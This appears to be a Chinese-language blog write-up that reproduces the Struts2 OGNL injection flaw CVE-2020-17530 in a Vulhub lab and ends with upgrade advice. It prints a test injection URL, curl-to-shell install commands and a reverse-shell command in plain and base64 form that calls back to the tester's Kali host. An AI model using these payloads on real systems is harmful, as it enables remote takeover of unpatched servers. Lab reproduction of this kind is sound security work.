CVE-2020-17530 Struts2代码执行漏洞复现

0x01 漏洞概述

Apache Struts是美国阿帕奇(Apache)基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts1和Struts2。

Struts2存在OGNL表达式注入漏洞,如果使用了 %{…} 语法进行强制OGNL解析。攻击者可以通过构造恶意的OGNL表达式来利用此漏洞,最终造成远程代码执行。

 

0x02 影响版本

 

  apache:struts2 :

  2.0.0 - 2.5.25

 

0x03 环境搭建

  • Centos7
  • Kali
  • Vulhub漏洞环境

 

① Vulhub漏洞环境部署在Centos7

  (1)安装pip

 curl -s https://bootstrap.pypa.io/get-pip.py | python

  (2)安装docker并启动

  curl -s https://get.docker.com/ | sh  

  systemctl start docker

   (3)安装compose

 pip install docker-compose 

  (4)下载vulhub压缩包并解压

 wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
 unzip vulhub-master.zip

 

 

使用vulhub漏洞环境在centos7上启动docker环境

  CVE-2020-17530 Struts2代码执行漏洞复现

 

 

   启动docker容器命令

 docker-compose up -d

 

③ 浏览器访问启动的容器

       CVE-2020-17530 Struts2代码执行漏洞复现

 

0x04 漏洞复现

①访问构造的URL查看漏洞是否存在

http://192.168.114.129:8080/?id=%25%7b+%27fuxian%27+%2b+(2000+%2b+21).toString()%7d

 

   CVE-2020-17530 Struts2代码执行漏洞复现

 

 

 

  可看到表达式执行,漏洞存在。

 

②使用Burpsuite抓包并更改为POST方法发送

    CVE-2020-17530 Struts2代码执行漏洞复现

 

 

 

 

     #arglist.add(""),即是命令执行的点

 

③构造bash命令执行反弹shell

bash -i >& /dev/tcp/192.168.114.173/4444 0>&1

   bash命令需进行编码转换,反弹到192.168.114.173(Kali主机)的4444端口。

   CVE-2020-17530 Struts2代码执行漏洞复现

 

 

 

  在Kali启用监听4444端口

  CVE-2020-17530 Struts2代码执行漏洞复现

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExNC4xNzMvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

  将bash编码转换后的填入#arglist.add("")中。

   CVE-2020-17530 Struts2代码执行漏洞复现

 

 

 

 发送,在Kali收到反弹shell

 

 CVE-2020-17530 Struts2代码执行漏洞复现

 

 

0x05 修复建议

升级到 Struts 2.5.26 版本或更高版本,下载地址为:

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26

 

CVE-2020-17530 Struts2代码执行漏洞复现

上一篇:DIV CSS display (block none inline)属性的用法


下一篇:分析vue脚手架